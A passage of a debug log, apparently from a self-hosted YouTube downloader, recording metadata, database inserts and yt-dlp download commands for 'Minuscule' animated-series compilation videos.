Dragonflies | S01E33\n00:56:05 | A Rolling Snail Gathers No Moss | S01E49\n01:00:41 | Catapult | S01E27\n01:05:28 | Insect High Velocity | S01E53\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hiccups #grasshopper #jumps #mechanics #Jump #Grasshopper #Competition #Silly #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 4238, "filename" => "/downloads/Miniscule Season 1/2025-12-04 Hiccups | Minuscule 🍃 85' Compilation/Hiccups | Minuscule 🍃 85' Compilation [QGbnMSlKyjE].mp4", "id" => "QGbnMSlKyjE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=QGbnMSlKyjE", "playlist_index" => 9, "timestamp" => 1764846047, "title" => "Hiccups | Minuscule 🍃 85' Compilation", "upload_date" => "20251204"} 00:47:42.878 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1232.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:42.879 [debug] QUERY OK source="sources" db=0.3ms idle=1233.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:42.880 [debug] QUERY OK source="media_items" db=1.0ms idle=1234.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-04 11:00:47Z], 4] 00:47:42.884 [debug] QUERY OK source="media_items" db=2.4ms idle=1081.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hiccups | S01E26\n00:04:44 | Jump, Jump, Jump | S01E76\n00:09:05 | Horsefly | S01E21\n00:13:47 | Mad Fly | S01E55\n00:18:26 | A Gust Of Wind | S01E13\n00:23:07 | The Ladybug | S01E01\n00:27:44 | Ladybugs | S01E17\n00:32:23 | Nap Time | S01E14\n00:37:12 | Hyperactive | S01E54\n00:41:53 | Cherry Tomato | S01E77\n00:46:32 | The Last Supper | S01E25\n00:51:21 | Dragonflies | S01E33\n00:56:05 | A Rolling Snail Gathers No Moss | S01E49\n01:00:41 | Catapult | S01E27\n01:05:28 | Insect High Velocity | S01E53\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hiccups #grasshopper #jumps #mechanics #Jump #Grasshopper #Competition #Silly #Minuscule #nature #insects #ladybugs #animatedseries", "Hiccups | Minuscule 🍃 85' Compilation", "b316c7d6-a026-4211-a286-b67aa19fa69f", "QGbnMSlKyjE", 4238, false, 4, "https://www.youtube.com/watch?v=QGbnMSlKyjE", 9, "/downloads/Miniscule Season 1/2025-12-04 Hiccups | Minuscule 🍃 85' Compilation/Hiccups | Minuscule 🍃 85' Compilation [QGbnMSlKyjE].mp4", false, false, false, [], 1, ~U[2025-12-04 11:00:47Z], ~U[2025-12-14 07:47:42Z], ~U[2025-12-14 07:47:42Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hiccups | S01E26\n00:04:44 | Jump, Jump, Jump | S01E76\n00:09:05 | Horsefly | S01E21\n00:13:47 | Mad Fly | S01E55\n00:18:26 | A Gust Of Wind | S01E13\n00:23:07 | The Ladybug | S01E01\n00:27:44 | Ladybugs | S01E17\n00:32:23 | Nap Time | S01E14\n00:37:12 | Hyperactive | S01E54\n00:41:53 | Cherry Tomato | S01E77\n00:46:32 | The Last Supper | S01E25\n00:51:21 | Dragonflies | S01E33\n00:56:05 | A Rolling Snail Gathers No Moss | S01E49\n01:00:41 | Catapult | S01E27\n01:05:28 | Insect High Velocity | S01E53\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hiccups #grasshopper #jumps #mechanics #Jump #Grasshopper #Competition #Silly #Minuscule #nature #insects #ladybugs #animatedseries", "Hiccups | Minuscule 🍃 85' Compilation", "QGbnMSlKyjE", 4238, false, 4, "https://www.youtube.com/watch?v=QGbnMSlKyjE", "/downloads/Miniscule Season 1/2025-12-04 Hiccups | Minuscule 🍃 85' Compilation/Hiccups | Minuscule 🍃 85' Compilation [QGbnMSlKyjE].mp4", false, ~U[2025-12-04 11:00:47Z]] 00:47:42.885 [debug] QUERY OK source="sources" db=0.3ms idle=83.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:42.885 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:42.886 [debug] QUERY OK source="media_items" db=0.5ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102352] 00:47:42.886 [debug] Current batch of media processed. Will check again in 1000ms 00:47:43.888 [debug] Current batch of media processed. Will check again in 1000ms 00:47:44.889 [debug] Current batch of media processed. Will check again in 1000ms 00:47:45.890 [debug] Current batch of media processed. Will check again in 1000ms 00:47:46.891 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Rosy | S01E38\n00:04:41 | Goofing Off | S01E37\n00:09:22 | The Infernal Anthill | S01E35\n00:13:42 | Ants | S01E02\n00:18:31 | The Quest For The Pink Lollipop | S01E32\n00:23:12 | Totem | S01E28\n00:27:58 | The Bridge On The River Zzzzzzz | S01E18\n00:32:44 | The Ladybug | S01E01\n00:37:21 | Convoy | S01E10\n00:42:03 | The Shellproof Nut | S01E40\n00:46:52 | The Wild Bunch | S01E74\n00:51:31 | A Bee’s Night Out | S01E51\n00:56:19 | Sleeping In | S01E12\n01:01:08 | A Cruel World | S01E46\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#busy #ant #objects #conformist #ants #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3988, "filename" => "/downloads/Miniscule Season 1/2025-11-11 Rosy | Minuscule | 80' Compilation/Rosy | Minuscule | 80' Compilation [s7GdvVPoIhA].mkv", "id" => "s7GdvVPoIhA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=s7GdvVPoIhA", "playlist_index" => 10, "timestamp" => 1762844452, "title" => "Rosy | Minuscule | 80' Compilation", "upload_date" => "20251111"} 00:47:46.892 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=246.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:46.893 [debug] QUERY OK source="sources" db=0.3ms idle=247.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:46.894 [debug] QUERY OK source="media_items" db=0.8ms idle=248.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-11 07:00:52Z], 4] 00:47:46.897 [debug] QUERY OK source="media_items" db=2.6ms idle=249.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Rosy | S01E38\n00:04:41 | Goofing Off | S01E37\n00:09:22 | The Infernal Anthill | S01E35\n00:13:42 | Ants | S01E02\n00:18:31 | The Quest For The Pink Lollipop | S01E32\n00:23:12 | Totem | S01E28\n00:27:58 | The Bridge On The River Zzzzzzz | S01E18\n00:32:44 | The Ladybug | S01E01\n00:37:21 | Convoy | S01E10\n00:42:03 | The Shellproof Nut | S01E40\n00:46:52 | The Wild Bunch | S01E74\n00:51:31 | A Bee’s Night Out | S01E51\n00:56:19 | Sleeping In | S01E12\n01:01:08 | A Cruel World | S01E46\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#busy #ant #objects #conformist #ants #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "Rosy | Minuscule | 80' Compilation", "998df911-6241-4e5b-ab51-ba82934104e3", "s7GdvVPoIhA", 3988, false, 4, "https://www.youtube.com/watch?v=s7GdvVPoIhA", 10, "/downloads/Miniscule Season 1/2025-11-11 Rosy | Minuscule | 80' Compilation/Rosy | Minuscule | 80' Compilation [s7GdvVPoIhA].mkv", false, false, false, [], 1, ~U[2025-11-11 07:00:52Z], ~U[2025-12-14 07:47:46Z], ~U[2025-12-14 07:47:46Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Rosy | S01E38\n00:04:41 | Goofing Off | S01E37\n00:09:22 | The Infernal Anthill | S01E35\n00:13:42 | Ants | S01E02\n00:18:31 | The Quest For The Pink Lollipop | S01E32\n00:23:12 | Totem | S01E28\n00:27:58 | The Bridge On The River Zzzzzzz | S01E18\n00:32:44 | The Ladybug | S01E01\n00:37:21 | Convoy | S01E10\n00:42:03 | The Shellproof Nut | S01E40\n00:46:52 | The Wild Bunch | S01E74\n00:51:31 | A Bee’s Night Out | S01E51\n00:56:19 | Sleeping In | S01E12\n01:01:08 | A Cruel World | S01E46\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#busy #ant #objects #conformist #ants #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "Rosy | Minuscule | 80' Compilation", "s7GdvVPoIhA", 3988, false, 4, "https://www.youtube.com/watch?v=s7GdvVPoIhA", "/downloads/Miniscule Season 1/2025-11-11 Rosy | Minuscule | 80' Compilation/Rosy | Minuscule | 80' Compilation [s7GdvVPoIhA].mkv", false, ~U[2025-11-11 07:00:52Z]] 00:47:46.898 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=87.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:46.899 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:46.900 [debug] QUERY OK source="media_items" db=0.4ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101016] 00:47:46.900 [debug] Current batch of media processed. Will check again in 1000ms 00:47:47.901 [debug] Current batch of media processed. Will check again in 1000ms 00:47:48.902 [debug] Current batch of media processed. Will check again in 1000ms 00:47:49.903 [debug] Current batch of media processed. Will check again in 1000ms 00:47:50.019 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgQjJ1kgUGE --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b4/a6/b4a669efad60a2bbe28fb42a839aef82c6c4aad3d5de9f57246bdc41cdf7324f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: WARNING: [youtube] ZgQjJ1kgUGE: Some tv client https formats have been skipped as they are missing a url. YouTube may have enabled the SABR-only or Server-Side Ad Placement experiment for the current session. See https://github.com/yt-dlp/yt-dlp/issues/12482 for more details WARNING: [youtube] ZgQjJ1kgUGE: Some web client https formats have been skipped as they are missing a url. YouTube is forcing SABR streaming for this client. See https://github.com/yt-dlp/yt-dlp/issues/12482 for more details 00:47:50.112 [debug] Running yt-dlp command for action: download_thumbnail 00:47:50.113 [debug] QUERY OK source="settings" db=0.2ms idle=1468.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:50.114 [debug] QUERY OK source="settings" db=0.2ms idle=1468.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:50.114 [debug] QUERY OK source="settings" db=0.3ms idle=1469.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:50.115 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgQjJ1kgUGE --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/102834/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/ff/41/ff41f675984547d806197f6bf8016063289cd62467c9889955a032b0ec8adf28.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:47:50.904 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Zzzzzz Patrol | S01E39\n00:04:38 | Nap Time | S01E14\n00:09:27 | Horsefly | S01E21\n00:14:09 | Hyperactive | S01E54\n00:18:50 | Insect High Velocity | S01E53\n00:23:29 | Dragonflies | S01E33\n00:28:13 | Leech | S01E73\n00:32:38 | The Last Supper | S01E25\n00:37:27 | Sleeping In | S01E12\n00:42:16 | Wasp Belle | S01E04\n00:47:05 | Ladybugs | S01E17\n00:51:44 | Some Weird Fly | S01E78\n00:56:14 | Goofing Off | S01E37\n01:00:55 | The Ladybug | S01E01\n01:05:31 | The Wild Bunch | S01E74\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #wasp #nap #insulting #dream #cicada #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 4242, "filename" => "/downloads/Miniscule Season 1/2025-12-02 The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation/The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation [NcJqhUC6BFA].mp4", "id" => "NcJqhUC6BFA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NcJqhUC6BFA", "playlist_index" => 11, "timestamp" => 1764702033, "title" => "The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation", "upload_date" => "20251202"} 00:47:50.905 [debug] QUERY OK source="sources" db=0.4ms idle=791.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:50.906 [debug] QUERY OK source="sources" db=0.4ms idle=791.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:50.907 [debug] QUERY OK source="media_items" db=1.1ms idle=791.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 19:00:33Z], 4] 00:47:50.911 [debug] QUERY OK source="media_items" db=2.6ms idle=262.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Zzzzzz Patrol | S01E39\n00:04:38 | Nap Time | S01E14\n00:09:27 | Horsefly | S01E21\n00:14:09 | Hyperactive | S01E54\n00:18:50 | Insect High Velocity | S01E53\n00:23:29 | Dragonflies | S01E33\n00:28:13 | Leech | S01E73\n00:32:38 | The Last Supper | S01E25\n00:37:27 | Sleeping In | S01E12\n00:42:16 | Wasp Belle | S01E04\n00:47:05 | Ladybugs | S01E17\n00:51:44 | Some Weird Fly | S01E78\n00:56:14 | Goofing Off | S01E37\n01:00:55 | The Ladybug | S01E01\n01:05:31 | The Wild Bunch | S01E74\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #wasp #nap #insulting #dream #cicada #Minuscule #nature #insects #ladybugs #animatedseries", "The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation", "b6e8d96a-a725-4fe0-8e5c-4caebad7ad89", "NcJqhUC6BFA", 4242, false, 4, "https://www.youtube.com/watch?v=NcJqhUC6BFA", 11, "/downloads/Miniscule Season 1/2025-12-02 The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation/The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation [NcJqhUC6BFA].mp4", false, false, false, [], 1, ~U[2025-12-02 19:00:33Z], ~U[2025-12-14 07:47:50Z], ~U[2025-12-14 07:47:50Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on 